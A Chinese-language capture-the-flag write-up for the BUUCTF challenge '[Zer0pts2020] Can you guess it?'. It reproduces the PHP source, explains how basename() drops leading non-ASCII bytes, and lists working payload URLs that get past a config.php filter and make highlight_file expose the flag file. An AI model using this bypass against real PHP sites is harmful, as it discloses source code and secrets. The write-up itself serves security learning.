BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过
题目
后台PHP源码:
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
这题有两种解题方式,第一种看这里
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
第二种看这里,但是第二种我不会。哈哈哈哈哈哈哈…
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
好了,废话不多说。现在开始解题吧!
首先是需要绕过这个正则表达式:
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF']))
这里是表示不能以config.php为结尾,不然会被拦下。
所以这里可以在config.php后面再加一个文件名,比如:
- /config.php/index.php
- /config.php/test.php
- /config.php/{随便什么文件名都可以}
接下来获取flag是看这个
highlight_file(basename($_SERVER['PHP_SELF']));
关键点是这个函数basename
basename() 函数返回路径中的文件名部分。但是它有个小问题,它会去掉文件名开头的非ASCII值。比如:
- $url1 = “path/
index.php
”; // 返回index.php - $url2 = “path/
index.php
”.urldecode(’%D1%A7%CF’); // 返回index.php和乱码 - $url3 = urldecode(’%D1%A7%CF%B0
flag.php
+ '); // 返回flag.php,前面的非acsii被删除 - $url4 = urldecode(’%74%65%73%74%5f
flag.php
+%D1%A7%CF%B0 '); // 返回flag.php和 后面的非ascii
With the default locale setting "C", basename() drops non-ASCII-chars at the beginning of a filename.
所以payload是:
- …/index.php/config.php/%ff?source
- …/index.php/config.php/%a1?source
- …/index.php/config.php/%df?source
上面的payload随便哪一个都可以,主要是保证config.php后面必须是非ascii值就可以了
获取到的Flag: